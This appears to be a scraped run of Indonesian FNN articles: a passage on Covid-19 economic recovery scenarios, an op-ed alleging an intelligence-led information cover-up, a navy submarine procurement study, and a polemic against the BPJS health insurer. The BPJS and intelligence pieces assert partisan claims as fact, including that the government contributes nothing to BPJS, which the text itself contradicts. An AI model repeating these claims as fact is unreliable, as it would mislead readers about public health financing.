korporasi maupun UMKM dan sektor informal. Menguji keampuhan sistem bernegara kita. Bahkan menguji standar moralitas dan nilai-nilai kita dalam perekonomian. Kembali kepada judul tulisan ini, kearah mana kurva pemulihan ekonomi Indonesia? Ini pertanyaan yang sulit. Mantan Menteri Keuangan Era SBY- Budiono, Chatib Basri, menuliskan satu artikel panjang di salah satu koran nasional soal ini. Dalam bayangan Chatib Basri, tentu dapat dipertanggungjawabkan, tren pemulihan ekonomi nasional akan cenderung kearah Kurva U. Bukan Kurva V (Kompas, 08/06/2020). Artinya, pemulihan ekonomi akan menempuh masa yang lebih panjang hingga kembali berfungsi secara normal. Deloitte dalam laporannya yang berjudul 'Recovering from Covid 19, Considering Economic Scenarios for Resilient Leaders' (Deloitte, 2020) menggunakan tiga skenario pemulihan ekonomi. Skenario pertama disebutnya sebagai 'a steep but short lived downturn'. Asumsinya antara lain adalah bergairahnya kembali perekonomian diakhir 2020. Tingkat konfidensi konsumen yang meningkat, pemulihan China yang lebih cepat, berakhirnya resesi di Uni Eropa dan Amerika. Program fiskal substansial UE dan AS yang berjalan efektif dan bergairahnya kembali 'travel and leissure industry' diakhir tahun. Asumsi PDB riil 2020 di Amerika -5%, UE -5%, Afrika -2,1, China 3% dan Jepang 0%. Skenario kedua disebutnya, 'Prolonged Pandemy and Delayed Rebound'. Dengan asumsi pertumbuhan PDB riil 2020 AS -8%, UE -8%, Afrika -5,1%, China 1% dan Jepang -3%. Asumsinya antara lain adalah pemulihan baru akan dimulai di akhir 2021 nanti. Pada scenario ini, gelombang pandemi meningkat, dan stimulus fiskal gagal memicu belanja. UE dan AS mengalami resesi berkepanjangan, dan pemulihan ekonomi di China berjalan sangat lambat. Juga terjadi penurunan berkepanjangan pada belanja konsumen. Skenario ketiga adalah skenario 'The worst skenario'. Dalam skenario ini, sistem keuangan gagal, sekalipun ada upaya massif dari Bank Sentral untuk mengatasinya. Stimulus fiskal besar-besaran tetap saja tidak mengangkat konsumsi. Pada scenario ketiga ini, terdapat banyak usaha yang bangkrut. Mata rantai penawaran mengalami gangguan berat, dan ekonomi rumah tangga makin terpuruk. Dan pemulihan ekonomi global tidak menampakkan gejala positif hingga tahun 2022. Skenario Deloitte ini sebetulnya diperuntukkan bagi lingkungan Afrika Selatan. Tapi gejala dan asumsinya secara umum, dalam hemat kami, memiliki pola yang mirip dengan Indonesia. Kalau di terapkan dalam skenario kurva pemulihan. Skenario pertama adalah skenario optimistik, yang sering digambarkan dalam skenario Kurva 'V'. Skenario kedua merupakan skenario Kurva 'U' yang moderat. Dan skenario ketiga merupakan skenario Kurva 'U' yang ekstrem. Laporan dari berbagai lembaga ekonomi dunia berikut prakiraan terhadap 'perlintasan/trajectory' pemulihan ekonomi, memiliki asumsi yang sama. Bahwa pemulihan ekonomi sangat bergantung pada kemampuan negara-negara dalam mengendalikan pandemi Covid 19 ini, yang dibarengi dengan kebijakan ekonomi yang besar, substansial dan efektif. Sejak awal krisis ini, kami sebetulnya sudah mengajukan istilah 'Maraton' dalam horison kebijakan pemulihan ekonomi nasional. Implisitnya adalah suatu bayangan bahwa pemulihan ekonomi akan melalui perjalanan yang tidak singkat. Pemulihan itu sendiri tidak berupa lonjakan vertikal yang cepat. Sebagai pelaku usaha dan penyelenggara negara, tentu kami sangat berharap pemulihan ekonomi kita bisa lebih cepat dalam lintasan Kurva 'V'. Apalagi dengan modal keadaan perekonomian kita yang relatif sehat sebelum Pandemi ini terjadi. Apalagi dengan kombinasi kebijakan bauran Fiskal dan Moneter yang kuat dan besar-besaran yang dilakukan Pemerintah dan Bank Sentral, termasuk juga OJK dan LPS. Namun sifat dan karakteristik dari Pandemi Covid 19 ini, berikut dampaknya terhadap bangunan perekonomian membuat pendekatan realistis terhadap pemulihan menjadi pilihan yang dalam hemat kami lebih tepat di jadikan sebagai pijakan bagi skenario pemulihan yang akan ditempuh. Pilihan realistis ini berkaitan dengan sumber daya pemulihan yang kita miliki dan kita butuhkan. Baik dari segi daya tahan Fiskal pemerintah, kemampuan neraca Bank Indonesia berikut resiko moneternya, dan kemampuan pemulihan ekonomi dunia. Dalam krisis ini, daya tahan dan kemampuan otoritas negara merupakan kunci bagi pemulihan ekonomi. Dengan membayangkan secara realistis bahwa pemulihan ekonomi akan melewati skenario Kurva 'U', maka kebijakan-kebijakan yang diambil tentu pula memiliki persyaratan-persyaratan yang diperlukan dalam menciptakan dan menjaga momentum pemulihan. Persyaratan-persyaratan itu antara lain : Pertama, rancang-bangun kebijakan fiskal pemerintah. Khususnya yang berhubungan dengan rancang bangun pemulihan yang berbasis pada APBN. APBN merupakan alat utama pemerintah dalam menangani krisis. Tetapi penggunaan yang tidak tepat dari alat ini, juga bisa menjadi bumerang bagi proses pemulihan itu sendiri. Apabila menggunakan asumsi tunggal, bahwa tindakan APBN yang massif bisa mengungkit perekonomian dengan cepat. Perlu lebih cermat. Penggunaan yang massif itu semestinya dibarengi dengan prinsip penjagaan keberlangsungan fiskal. Terutama untuk menjaga sisi kontra produktif dari krisis yang dihadapi. Sisi kontra produktif itu adalah besarnya variabel ketidakpastian yang mewarnai krisis ini. Postur APBN kita saat ini mengharuskan kita untuk berhati-hati dalam penggunaan masifnya. Struktur penerimaan negara masih akan mengalami 'shock' dalam satu dua tahun ke depan. Yang berakibat pada pembesaran kumulatif pembiayaan defisit di tahun- tahun ke depan. Dalam pemulihan ini, kebijakan pengetatan tentu merupakan opsi kritis yang hampir sulit untuk dipilih. Namun stamina APBN mesti dijaga dalam pemulihan. Durasi penggunaannya seyogyanya dikelola secara tepat. APBN untuk pemulihan memang mesti massif, tetapi juga harus memiliki stamina yang cukup sepanjang proses pemulihan. Artinya, APBN bukanlah solusi tunggal pemulihan ekonomi. Tetapi APBN adalah titik pijak dan jangkar utama pemulihan ekonomi. Persyaratan kedua, adalah mempertahankan paradigma 'Fokus, Desisif, Masif dan Transparan'. Fokus bermakna motif dan tujuan kebijakan dipastikan kejelasannya. Sektor dan pelaku ekonomi yang paling terdampak menjadi prioritas utama. Dalam hal sektor, yang memiliki elastisitas dan daya ungkit ekonomilah yang menjadi patokannya. Dalam hal pelaku, sektor UMKM sebagai penyumbang tenaga kerja terbesar memperoleh porsi terbesar dalam alokasi sumber daya kebijakan. Tidak berarti, korporasi, sebagai pembayar pajak terbesar tidak memperoleh perhatian serius. Desisif bermakna kebijakan fiskal dan moneter harus betul-betul hadir untuk menyelesaikan persoalan. Karena itu, menjaga perlintasan permintaan tetap pada rute positif adalah inti dari kebijakan yang desisif itu. Masif artinya tidak tanggung-tanggung. Kapasitas yang dimiliki oleh otoritas fiskal dan moneter harus dipergunakan secara optimal dan terukur. Kami tidak memiliki kompetensi dalam menghitung seberapa besar biaya yang mesti dikeluarkan untuk benar-benar mengembalikan perekonomian pada kinerja normalnya. Namun seberapa besarpun biaya yang diperlukan untuk mengatasi krisis dan memulihkan perekonomian, sebesar itu pulalah biaya yang mesti digelontorkan oleh otoritas. Demikian juga dengan Transparansi. Ini merupakan persyaratan sukses yang tidak bisa diabaikan begitu saja. Transparansi menjamin kontrol yang sehat terhadap proses pemulihan sekaligus juga meningkatkan akuntabilitas dan menjamin akseptabilitas publik terhadap langkah-langkah kebijakan pemulihan. Transparansi menjamin munculnya 'mutual trust' dari stake holder terhadap kebijakan dan pengambil kebijakan. Persyaratan berikutnya adalah kebutuhan mendesak dalam kerangka pemulihan ekonomi untuk menjawab tantangan struktural perekonomian kita. Perekonomian baru Indonesia memerlukan perubahan dan penyesuaian struktural. Dalam pemulihan ekonomi yang diperlukan adalah suatu model pemulihan yang sekaligus juga merupakan jawaban terhadap problem struktural perekonomian yang endemik dalam perekonomian Indonesia. Pemulihan ekonomi bukanlah kembali pada bentuk lama perekonomian kita. Tetapi perekonomian yang mencerminkan kesiapan kita dalam wujud baru perekonomian yang lebih egaliter, kompetitif, pro-lingkungan, inovatif dan dinikmati oleh masyarakat luas. Pemulihan ekonomi bukan sekedar perbaikan profil Produk Domestik Bruto. Bahkan, pemulihan ekonomi sudah semestinya dilakukan dalam kerangka perbaikan kualitas perekonomian. Bukan melestarikan praktek lama perekonomian yang distortif pada kualitas kehidupan berbangsa dan bernegara. Langkah-langkah kebijakan pemulihan ekonomi yang 'eksta-ordinary', yang diambil oleh pemerintah dan otoritas lainnya, dan juga memperoleh dukungan politik besar dari legislatif, merupakan modal besar untuk menjalankan agenda-agenda perubahan struktural perekonomian tranformatif. Modal ini sepatutnya digunakan untuk tujuan-tujuan besar dan berdampak panjang. 'Legacy' pemerintahan Presiden Joko Widodo-Ma’ruf Amin dalam hemat kami, bukanlah apa yang dikerjakannya lima tahun sebelumnya. Tapi 'legacy' historis pemerintahan ini terletak pada kemampuannya menangani krisis ini. Membalikkan situasi perekonomian, dan meletakkan fondasi perekonomian baru Indonesia. Legaci seperti ini yang menjawab problem struktural lama perekonomian. Sekaligus juga, meletakkan fondasi yang kokoh bagi keberlanjutan kompetitif bangsa Indonesia.

Gagalnya Kerja Intelijen Membungkam Informasi Tentang Covid-19

Intelijen juga gagal membuat propaganda melalui tangan-tangan pemandu sorak mereka . Padahal mereka berkeliaran di media sosial dan figur sosial. Kegagalan tersebut semakin menjadi kepanikan besar, ketika salah seorang Menteri Jokowi positive terjangkit wabah Covid-19. Masyarakat juga terlihat semakin panik. Karena tiba tiba saja terkejut dengan fakta bahwa di lingkaran utama Presiden, yang keamanannya dijaga dengan sangat ketat, namun bisa terkena wabah Covid-19. By Liem Han Chow Jakarta FNN - Sejak ramainya kasus Covid-19, pemerintah kita sepertinya berusaha menutupi informasi. Kenyataan ini terlihat dari simpang siur,dan tumpang tindihnya informasi yg disampaikan oleh pejabat publik kepada media massa mainstream. Kondisi inilah yang membuat masyarakat semakin khawatir. Masyarakat merasa penasaran dengan kejadian yang sesungguhnya. Bukan sembarangan upaya. Usaha pemerintah menutupi jejak kasus Covid-19 tersebut adalah upaya untuk menjaga stabilitas ekonomi dan politik nasional. Dubes China sempat protes karena Pemerintah Indonesia sempat mengeluarkan pernyataan bahwa Covid-19 bersumber dari China. Dubes China pantas saja memprotes. Mengingat informasih mengenai sumber Covid-19 bisa berdampak terhadap ekonomi China. Penjualan produk China dan proyek-proyek strategis China yang sedang dan masif di Indonesia sekarang. Jika tidak diprotes, bisa menjadi sumber penolakan masyarakat Indonesia. Inilah pokok persolannya. Selain persoalan ekonomi dan politik, masalah rasisme juga dikhawatirkan meningkat. Kebencian dan kecurigaan terhadap kelompok tententu juga bisa meningkat sangat cepat dan drastis. Karena itu, isu ini bisa berkembang lebih cepat dari api yang melalap atau membakar kertas. Diperkirakan, hantu gesekan sosial yang membayangi sikap pemerintah dalam menghadapi wabah Covid-19 ini. Dampak gesekan ini tentunya sangat terkait erat dengan persoalan ekonomi dan stabilitas politik di dalam negeri. Demikian juga dengan peta dampak politik luar negeri. Posisi Indonesia yang sedang mesra-mesranya dengan China bisa ambyar dan berantakan. Jejak dan keterlibatan Badan Intelijen (BIN) dalam usaha pemerintah menangani wabah Covid-19 ini terlihat sangat jelas, kentara dan nyata. Apalagi, ketika Kepala BIN Budi Gunawan mendampingi Jokowi dalam sebuah acara konferensi pers soal Covid-19. Jejak itu juga terlihat pada beberapa kali ralat berita oleh pihak berwajib yang mengumumkan kasus Covid-19. Pengumuman pertama diralat dengan sebuah statement yang seragam. Begitulah cara kerja intelijen dalam membungkam sebuah informasi. Padahal dalam sebuah negara demokrasi, keterbukaan informasi, diseminasi informasi adalah hal yang tak bisa dibendung. Crowdsource Information tersedia dalam berbagai bentuk dan pola. Baik itu yang tersedia di media social, maupun percakapan di media online. Informasinya begitu cepat menyebar. Ditambah lagi dengan semakin banyaknya fakta-fakta lapangan yang terjadi. Intelijen pemerintah, akhirnya terlihat gagal dalam menutupi kasus Covid-19 yang sebenarnya terjadi di Indonesia. Intelijen juga gagal membuat propaganda melalui tangan-tangan pemandu sorak mereka . Padahal mereka berkeliaran di media sosial dan figur sosial. Kegagalan tersebut semakin menjadi kepanikan besar, ketika salah seorang Menteri Jokowi positive terjangkit wabah Covid-19. Masyarakat juga terlihat semakin panic. karena tiba tiba saja terkejut dengan fakta bahwa lingkaran utama Presiden yang keamanannya dijaga ketat bisa terkena wabah Covid-19. Kepanikan juga terjadi bursa saham selama dua hari berturut turut. Dampaknya, tidak bisa dirasakan langsung oleh masyarakat. Namun demikian, bagi sebagian orang yang berada pada kelas elit, dampaknya sangat terasa. Ketakutan mereka menjadi efek domino terhadap kelas menengah ke bawah. Jika para pekerja mengetahui bahwa bosnya kabur, mereka bisa saja panik massal. Ekspatriat yang berada di Indonesia mulai eksodus. Kepanikan ekonomi juga ditandai dengan langkanya bahan bahan tertentu. Begitu pula naiknya harga-harga sembako. Kepanikan masyarakat ini seharusnya diimbangi dengan keterbukaan informasi, agar masyarakat bisa tetap percaya kepada pemerintah. Apalagi setelah pemerintah gagal berbohong soal penyebaran Covid-19. Pada titik ini, sepatutnya intelijen segera mempensiunkan para pemandu sorak mereka, yang saat ini makin tidak kompak dan terlihat konyol. Jika langkah-langkah startegis itu tak segera diambil, ditakutkan akan terjadi kepanikan sosial. Saling curiga antar penduduk wilayah. Saling curiga antar komplek perumahan. Kebencian pada etnis China yang dituduh sebagai pembawa bencana akan semakin meningkat. Kepanikan sosial seperti ini sangat mungkin memicu terjadinya chaos. Fakta-fakta ini ditambah lagi dengan kondisi ekonomi yang terus memburuk. Semakin tingginya kredit macet perbankan dari hari ke hari. Semakin susah mencari uang, karena banyak orang yang libur. Mereka mengurung diri di rumah selama beberapa hari ke depan. Kebutuhan akan sembako dan obat-obatan seperti masker dan hand sanitizer atau pencuci tangan dengan sabun yang beralkohol juga semakin langka. Kalaupun masih ada di pasar dan Apotek, maka harganya sangat mahal. Harganya dua sampai tiga kali lipat. Masyarakat terpaksa harus membelinya, karena kondisi yang mendesak. Untuk sementara waktu, masyarakat harus mengesampingkan kebutuhan makan dan minum dulu. Semua itu bisa menjadi bom waktu. Jika tidak ditangani dengan baik, akan meledak dalam waktu dekat. Semoga kita semua mampu bersabar mengadapi wabah Covid-19 ini. Penulis adalah Analis Intelejen Don Adam Sharing Academy

Kapal Selam Korsel (4): Kajian Pemilihan Jenis Kapal Selam Diesel Elektrik

Oleh Mochamad Toha Jakarta, FNN - Selain surat Franklin Tambunan ke Presiden Joko Widodo, fnn.co.id juga menerima copy hasil Kajian Pemilihan Jenis Kapal Selam Diesel Elektrik Dihadapkan Dengan Rencana Pembangunan Kekuatan TNI AL Dan Kemandirian Industri Pertahanan Nasional. Berikut catatan hasil kajian tersebut yang ditulis pada Maret 2018 oleh Satuan Kapal Selam Komando Armadaa RI Kawasan Timur. Bahwa Negara Kesatuan Republik Indonesia (NKRI) merupakan negara kepulauan (archipelagic state) terbesar di dunia yang mempunyai 17.504 pulau, panjang garis pantai 81.000 km dengan luas perairan 5,8 juta km². Posisi Indonesia secara geografis juga sangat strategis karena terletak di antara dua samudera besar, yakni Samudera Hindia dan Samudera Pasifik serta dua benua, yakni Benua Asia dan Australia. Sehingga apabila ditinjau dari geostrategik, geopolitik maupun geoekonomi memiliki peran yang sangat penting bukan hanya bagi bangsa Indonesia, namun juga bagi negara-negara di kawasan Asia Pasifik bahkan dunia secara global. Hal ini tentunya membawa konsekuensi logis yang signifikan terhadap upaya pelaksanaan pengamanan NKRI secara berkesinambungan, sehingga berdampak positif terhadap stabilitas pembangunan nasional. Karena itu, Indonesia membutuhkan sarana dan prasarana untuk melaksanakan penegakan kedaulatan negara sekaligus menjaga keamanan di seluruh wilayah yurisdiksi nasional. TNI AL sesuai dengan peran, fungsi, dan tugasnya sebagaimana yang diamanatkan dalam UU, merupakan komponen utama sistem pertahanan negara di laut serta bertanggung jawab terhadap keamanan laut di seluruh wilayah yurisdiksi nasional. Agar dapat melaksanakan tugasnya dengan optimal, maka TNI AL membutuhkan alutsista yang memenuhi kebutuhan untuk memenuhi peran, fungsi maupun tugasnya, baik di permukaan, bawah air dan udara serta peralatan Marinir. Bukan saja dalam jumlah yang memadai, namun juga sesuai dengan operational requirement yang sesuai dengan konstelasi geografi Indonesia. Pelaksanaan tugas penegakan kedaulatan negara dan keamanan di laut sangat tergantung pada kehadiran unsur-unsur di laut. Eksistensi kapal selam yang sebagai salah satu sistem senjata strategis matra laut, disamping sebagai fungsi pengamanan teritorial laut dapat memberikan efek penggentar (deterrence effect) di kawasan. Mengingat semakin meningkatnya kemampuan kapal selam negara-negara di kawasan regional, maka perlu adanya perimbangan kekuatan (Balance of Power) untuk mewujudkan stabilitas keamanan dan pertahanan di kawasan dengan penambahan kapal selam baru bagi TNI AL yang sekaligus dapat memberikan dampak penangkalan (deterrence). Sehingga meningkatkan Bargaining Power dan berfungsi juga untuk memperkuat posisi diplomasi politik di kawasan. Keberadaan 12 Kapal Selam kelas Whiskey buatan Uni Soviet, menjadikan Indonesia sebagai negara yang disegani dan diperhitungkan pada medio 1960-an. Sebagai contoh kemenangan Indonesia merebut Irian Barat tanpa harus melalui pertempuran merupakan wujud nyata keberhasilan deterrent effect yang dimiliki Indonesia saat itu, sebagai salah satu negara dengan persenjataan militer yang kuat di belahan bumi selatan. Dalam rencana pembangunan kekuatannya terutama kapal selam, TNI AL memiliki kepentingan terhadap perkembangan industri pertahanan dalam negeri, sebagai wujud kemandirian dalam mendukung dan memenuhi kebutuhan Alat Utama dan Sistem Senjata (Alutsista) TNI. Sesuai dengan Pasal 3 UU Nomor 16 Tahun 2012 tentang Industri Pertahanan, salah satunya bertujuan mewujudkan kemandirian pemenuhan Alat Peralatan Pertahanan dan Keamanan, tentunya diharapkan berjalan selaras dengan TNI AL yang membutuhkan Kapal Selam berkualitas, handal, mempunyai efek deterent yang tinggi. Minimal seimbang dengan kekuatan kapal selam yang dimiliki negara-negara di kawasan regional dan memberikan rasa aman serta level of confidence yang tinggi kepada para pengawak kapal selam tersebut. Untuk memenuhi kriteria jenis serta kemampuan kapal yang dibutuhkan TNI AL disesuaikan dengan kebutuhan, daya tempur serta kemampuan yang diinginkan, untuk itu maka disusun Operational Requirement, lalu dijabarkan ke dalam Technical Specification Requirement. Kedua produk itu digunakan sebagai pedoman/kriteria untuk memilih alut sista yang ditawarkan. Untuk itu kemandirian industri pertahanan melalui transfer of technology khususnya kapal selam diharapkan bisa berjalan seimbang dan beriringan dengan kebutuhan TNI AL terhadap Kapal Selam yang handal, berkualitas, dan memberikan efek psikologis berupa rasa aman dan percaya diri (confident) kepada para pengawaknya. Kajian ini berdasarkan Surat Kabaranahan Kemhan No: B/1302/II/2018/Baranahan tanggal 12 Februari 2018 tentang Konfirmasi Spektek Kapal Selam Diesel Elektrik Program PLN/KE TA. 2015-2019. Surat Menteri Keuangan Nomor: SR-579/MK.08/2017 tanggal 08 Desember 2017 tentang penetapan Sumber Pembiayaan untuk Kementerian Pertahanan tahun 2017. Surat Sekretaris Kabinet Nomor: B.56/Seskab/Polhukam/01/2017 tanggal 24 Januari 2017 tentang Rancangan Peraturan Presiden tentang Program pembangunan dan pemeliharaan kapal selam. Yang perlu diperhatikan adalah bagaimana memenuhi kebutuhan kapal selam dihadapkan dengan keberlangsungan industri pertahanan Nasional.Komitmen untuk membangun industri pertahanan strategis nasional menuju kemandirian Industri Pertahanan yang sesuai amanat UU Nomor 16 tahun 2012 tentang Industri Pertahanan. TNI AL berkomiten kuat untuk mendukung terwujudnya hal tersebut. Realisasi di lapangan telah terwujud dengan pembangunan kapal-kapal PKR 10514 dan KCR 60 di PT PAL, serta pembangunan 3 Kapal Selam tipe 209 di mana 2 unit dibangun di galangan kapal DSME serta joint section kapal selam ke-3 dilaksanakan di PT. PAL. Dalam memenuhi kriteria, jenis dan kemampuan kapal yang dibutuhkan TNI AL disesuaikan dengan kebutuhan, daya tempur, dan kemampuan yang diinginkan, untuk kemudian disusun Operational Requirementyang selanjutnya dijabarkan ke dalam Technical Specification Requirement. Kedua produk tersebut digunakan sebagai pedoman/kriteria untuk memilih alut sista yang ditawarkan. Dalam pelaksanaannya di lapangan, inkronisasi kebutuhan alat perlengkapan pertahanan dan keamanan antara user (TNI AL) dan industri pertahanan, masih terdapat kendala, antara lain: Kemampuan untuk memenuhi kriteria yang berdasarkan Opsreq dan Techreq yang diajukan, degradasi performance alutsista yang diharapkan, serta keberhasilan proses dan hasil alih teknologi (Transfer of Technology). Negara-negara di kawasan regional telah meningkatkan kemampuan Angkatan Laut-nya dengan membangun tidak hanya berbagai jenis kapal permukaan seperti corvette dan frigate modern, tetapi juga kapal selam dengan kuantitas dan kualitas yang cukup signifikan. Kekuatan yang ada saat ini dinilai belum mampu menghadapi ancaman potensial berupa kekuatan militer dari luar, maupun mengimbangi kekuatan angkatan laut negara tetangga. Invasi militer besar-besaran atau perang terbuka, memang sangat kecil kemungkinannya, akan tetapi low intensity conflict di perairan perbatasan dengan negara tetangga, berpeluang besar terjadi setiap saat. Dalam rangka menghadapi ancaman kekuatan laut asing yang mungkin timbul maka pilihan pengadaan kapal selam merupakan kebijakan yang paling efektif dan efisien karena seiring perkembangannya kapal selam menjadi menjadi suatu mesin perang yang dapat mengubah jalannya pertempuran laut. Disamping itu kapal selam memiliki persenjataan strategis yang diperlukan untuk melindungi kepentingan nasional di dan lewat laut, utamanya dalam rangka melaksanakan deterrence dan coercion. Perairan Indonesia memiliki data hidrografi sebagaimana lazimnya perairan tropis dan perairan kepulauan, dengan beragam bentuk dan jenis dasar laut, serta kedalaman laut yang bervariasi dari perairan dangkal hingga perairan yang dalam. Dengan kondisi perairan Indonesia yang bervariatif tersebut maka kapal selam yang dianggap cocok untuk beroperasi dl perairan Indonesia adalah kapal selam yang mampu beroperasi di laut dalam maupun laut dangkal (kawasan litoral), memiliki endurance dan daya jelajah yang cukup jauh dan lama, dan tentunya memiliki teknologi propulsi yang senyap serta memiliki persenjataan yang banyak dan bervariatif. Kapal selam yang dibutuhkan juga harus mempertimbangkan kemungkinan besar adanya keputusan politik seperti kemungkinan sanksi embargo dari negara produsen terhadap alut sista maupun peralatan atau persenjataan pendukungnya. (Bersambung) Penulis adalah wartawan senior

Woi...Pemerintah Bilang Aja Terus Terang: Kami Tidak Becus Mengelola BPJS

Alih-alih pemerintah bisa memberikan perlindungan dan jaminan kesehatan secara gratis kepada masyarakat miskin, yang terjadi sekarang pemerintah justru merampok uang rakyat melalui kewajiban membayar iuran BPJS. Kalau membandel, pengurusan surat-surat akan dipersulit. Bahkan yang lebih serem lagi pemerintah melalui PT BPJS akan menagih iuran BPJS secara door to door ke rumah-rumah penduduk. Oleh Tjahja Gunawan(Wartawan Senior) Jakarta, FNN - Terus terang saya terpaksa menulis kembali persoalan BPJS ini karena jalan keluar yang diambil pemerintah benar-benar sudah sangat mendzolimi rakyat. Sebelum mengurai lebih jauh soal BPJS, saya sertakan hasil liputan portal berita kompas tanggal 7 Agustus 2019 berjudul "Jangankan untuk Denda, Bayar Iuran BPJS Saja Kami Telat". Suparni (55), istri almarhum Sabbarudin, warga Desa Gondang Karang Rejo, Kabupaten Magetan, Jawa Timur, mengaku tidak memiliki uang untuk membayar denda keterlambatan BPJS. "Jangankan untuk membayar denda, untuk membayar iuran bulanan saja terlambat," ujar Suparni, Rabu (7/8/2019). Akhirnya Lilik Puryani, anak Suparni, terpaksa menjaminkan sepeda motor untuk mengambil jenazah ayahnya yang dirawat dan meninggal dunia di RSI Madiun. Lilik Puryani mengatakan, saat itu pihak rumah sakit tiba-tiba menyodorkan pembayaran sebesar Rp 6.800.000 ketika keluarga akan membawa pulang jenazah Sabbarudin. Keluarga yang tidak memiliki uang untuk membayar akhirnya menjaminkan sepeda motor kepada pihak rumah sakit. Kepala Bagian Keuangan RSI Siti Aisyiah Kota Madiun Fitri Saptaningrum didampingi Humas dan Pemasaran Syarif Hafiat mengatakan, prosedur di rumah sakit, biaya pasien harus dibayar lunas sebelum keluar dari rumah sakit. Menurut Fitri, saat itu pasien tidak dibiayai BPJS. Sebab, masih ada denda keterlambatan pembayaran premi BPJS yang belum dibayar. Dalam kasus diatas, seharusnya pemerintah yang turun tangan dengan membebaskan beban yang dialami keluarga Suparni. Derita yang dialami Suparni betul-betul sangat tragis. Suparni ditinggal suaminya meninggal, lalu keluarganya harus menanggung beban karena terpaksa harus menjaminkan sepeda motor pada pihak RSI Madiun agar bisa mengambil jenazah suaminya dari rumah sakit. Penderitaan yang hampir sama dialami masyarakat perkotaan akibat BPJS ini. Tetangga saya di Kompleks Perumahan Bumi Serpong Damai (BSD), Tangerang Selatan mengeluh: "Saya sudah punya kartu berobat keluarga yang diberikan kantor. Eh saat anak saya diterima di perguruan tinggi pemerintah, diminta untuk membuat kartu BPJS untuk anak saya sebagai syarat kewajiban siswa.Saat mengurusnya, pihak BPJS menyatakan pembuatan kartu BPJS sesuai kartu keluarga dimana terdaftar nama ayah, ibu dan beberapa anak. Mereka bilang harus semua bikin BPJS dan setor dananya sesuai daftar nama di Kartu Keluarga. Jadi pemerintah mewajibkan semua orang untuk miliki BPJS, tidak peduli mereka yang sudah memiliki asuransi atau jaminan kesehatan dari kantor". Hal yang sama disampaikan salah satu pendengar Radio Dakta di Bekasi ketika saya menjadi nara sumber tetap di radio tersebut. Kini isu BPJS sudah menjadi masalah masyarakat akibat ketidakbecusan pemerintah khususnya Kementerian Keuangan terutama PT BPJS Kesehatan dalam mengola dana masyarakat untuk program perlindungan kesehatan. Program BPJS Kesehatan diberlakukan 1 Januari 2014. Program ini mengganti asuransi kesehatan dari pemerintah yang dikenal dengan Askes. BPJS Kesehatan membagi pesertanya menjadi dua kategori yakni PBI (Penerima Bantuan Iuran) dan peserta BPJS Kesehatan. Peserta BPJS Kesehatan dibagi dalam tiga kelas yakni kelas tiga, kelas dua, dan kelas satu yang iurannya berbeda. Setelah dinaikkan per 1 April 2016, iuran BPJS Kesehatan untuk kelas satu Rp 80 ribu/bulan, kelas dua Rp 51 ribu/bulan, dan kelas tiga Rp 25.500/bulan. Tahun 2020, iuran BPJS kembali akan dinaikkan kecuali peserta BPJS mandiri kelas tiga. Alih-alih pemerintah bisa memberikan perlindungan dan jaminan kesehatan secara gratis kepada masyarakat miskin, yang terjadi sekarang pemerintah justru merampok uang rakyat melalui kewajiban membayar iuran BPJS. Kalau membandel, pengurusan surat-surat akan dipersulit. Bahkan yang lebih serem lagi pemerintah melalui PT BPJS akan menagih iuran BPJS secara door to door ke rumah-rumah penduduk. Sebenarnya selama ini masyarakat ditipu oleh BPJS Kesehatan. BPJS bukanlah jaminan kesehatan bagi masyarakat. Banyak masyarakat yang beranggapan bahwa BPJS adalah jaminan kesehatan dari pemerintah, padahal BPJS itu fungsinya tidak lebih dari asuransi. BPJS didanai dari uang pribadi masyarakat. Pemerintah meminta masyarakat menyetor sejumlah uang untuk dikumpulkan dan nantinya digunakan untuk biaya pengobatan. Seluruh uang yang disetorkan masyarakat kemudian dihimpun oleh PT BPJS Kesehatan. Lalu uang tersebut dialokasikan untuk membiayai pengobatan anggota BPJS yang sedang sakit. Sekali lagi, dana ini sebenarnya berasal dari masyarakat dan bukan dana APBN. Sekarang pemerintah telah mewajibkan seluruh masyarakat untuk membayar iuran BPJS. Sementara dana yang dikumpulkan secara massif tersebut hanya digunakan sebagian saja yakni hanya untuk anggota masyarakyat yang sedang sakit. BPJS adalah kamuflase pemerintah untuk menutupi penyelewengan dana subsidi BBM. Banyak diantara masyarakat yang mengira BPJS didanai dari pengalihan subsidi dari BBM ke bidang kesehatan. Masyarakat lupa bahwa setiap bulannya mereka harus menyetor dana minimal Rp 25.000 per bulan. Saat ini peserta BPJS berjumlah sekitar 168 juta orang. Dengan demikian, jumlah dana BPJS yang dihimpun dari masyarakat oleh pemerintah mencapai lebih dari Rp.4,2 tilyun per bulan atau lebih dari Rp 50,4 trilyun per tahun. Itu uang yang dikumpulkan langsung dari masyarakat, bukan dari sektor pajak atau pengalihan subsidi BBM. Kok sekarang tiba-tiba PT BPJS kesehatan mengalami defisit keuangan sebesar Rp 32 trilyun. Jadi semakin jelas bahwa BPJS merupakan sebuah badan usaha yang fungsinya sebagai pengeruk keuntungan bagi pemerintah. BPJS Kesehatan bukan mengelola dana khusus dari APBN untuk jaminan kesehatan. Dengan adanya BPJS, pemerintah sama sekali tidak pernah memberikan jaminan kesehatan gratis kepada masyarakat. Padahal selama ini pemerintah selalu menyebarkan propaganda bahwa BPJS adalah subsidi kesehatan gratis dari pemerintah. Padahal pemerintah tidak mengeluarkan biaya sepeserpun untuk BPJS. Dan BPJS itu murni seribu persen berasal dari dana masyarakat. Dengan biaya iuran BPJS sebesar Rp 25.000 per bulan, seharusnya masyarakat memperoleh kualitas pelayanan kesehatan maksimum di rumah sakit yakni di kelas VIP. Namun karena PT BPJS Kesehatan kini didaulat untuk menjadi Badan Usaha yang bertugas memberikan keuntungan sebesar-besarnya terhadap pemerintah, maka tidak heran bila pasien peserta BPJS banyak yang dibatasi penggunaan obatnya di RS. BPJS tidak meng-cover obat-obatan yang bermutu bagus. Alhasil pasien cuma mendapatkan obat-obatan ala kadarnya. BPJS adalah pesan nyata dari Pemerintah yang artinya “Masyarakat miskin tidak boleh sakit”. Wajar bila kita berpendapat demikian, sebab tidak bisa kita pungkiri bahwa pelayanan kesehatan bagi peserta BPJS sangat jauh dari kelayakan. Bayangkan saja bila pasien tidak ada uang untuk menebus resep obat yang tidak di-cover oleh BPJS, mungkin bukan malah jadi sehat, pasien justru cuma bisa pasrah menahan sakit. Apakah ini yang disebut dengan Jaminan Kesehatan ? BPJS adalah bentuk pengingkaran terhadap UUD 1945 Perubahan, Pasal 34 ayat 2 yang menyebutkan bahwa negara wajib memberikan jaminan kesehatan bagi seluruh rakyat Indonesia. End.

Satgas Waspada Investasi: Banyak Fintech Ilegal dari China, AS, Singapura, Malaysia

